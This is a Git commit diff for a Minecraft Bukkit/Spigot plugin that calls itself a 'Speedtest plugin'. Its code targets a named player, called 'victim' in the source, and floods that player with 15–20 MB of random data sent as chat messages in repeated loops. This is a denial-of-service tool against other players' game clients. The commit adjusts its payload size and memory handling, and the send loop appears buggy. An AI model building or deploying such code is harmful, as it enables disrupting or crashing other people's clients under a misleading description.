mirror of
https://github.com/IdalecioSch/StPlayer.git
synced 2026-07-28 00:30:03 -03:00
memory leak
This commit is contained in:
@@ -4,7 +4,7 @@
|
|||||||
<modelVersion>4.0.0</modelVersion>
|
<modelVersion>4.0.0</modelVersion>
|
||||||
<groupId>com.itakinn</groupId>
|
<groupId>com.itakinn</groupId>
|
||||||
<artifactId>stplayer</artifactId>
|
<artifactId>stplayer</artifactId>
|
||||||
<version>1.0-SNAPSHOT</version>
|
<version>1.1-SNAPSHOT</version>
|
||||||
<packaging>jar</packaging>
|
<packaging>jar</packaging>
|
||||||
<name>stplayer</name>
|
<name>stplayer</name>
|
||||||
<description>Speedtest plugin for Bukkit/Spigot</description>
|
<description>Speedtest plugin for Bukkit/Spigot</description>
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ public class Main extends JavaPlugin {
|
|||||||
public void onEnable() {
|
public void onEnable() {
|
||||||
this.getCommand("stplayer").setExecutor(this);
|
this.getCommand("stplayer").setExecutor(this);
|
||||||
}
|
}
|
||||||
|
@Override
|
||||||
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
||||||
Player victim = Bukkit.getPlayer(args[0]);
|
Player victim = Bukkit.getPlayer(args[0]);
|
||||||
@@ -21,6 +21,7 @@ public class Main extends JavaPlugin {
|
|||||||
for (int i = 0; i < 5; ++i) {
|
for (int i = 0; i < 5; ++i) {
|
||||||
if (victim == null || !victim.isOnline()) {
|
if (victim == null || !victim.isOnline()) {
|
||||||
sender.sendMessage("Player offline or not found.");
|
sender.sendMessage("Player offline or not found.");
|
||||||
|
break;
|
||||||
}else {
|
}else {
|
||||||
this.stressPlayer(victim);
|
this.stressPlayer(victim);
|
||||||
}
|
}
|
||||||
@@ -36,9 +37,10 @@ public class Main extends JavaPlugin {
|
|||||||
|
|
||||||
private void stressPlayer(Player victim) {
|
private void stressPlayer(Player victim) {
|
||||||
try {
|
try {
|
||||||
byte[] data = new byte[20971520]; // 20 MB
|
byte[] data = new byte[15728640]; // 15 MB
|
||||||
new Random().nextBytes(data);
|
new Random().nextBytes(data);
|
||||||
this.sendLargeMessage(victim, data);
|
this.sendLargeMessage(victim, data);
|
||||||
|
data = null;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
@@ -49,5 +51,6 @@ public class Main extends JavaPlugin {
|
|||||||
while (player.isOnline() && !dataString.isEmpty()) {
|
while (player.isOnline() && !dataString.isEmpty()) {
|
||||||
player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException:
|
player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException:
|
||||||
}
|
}
|
||||||
|
dataString=null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user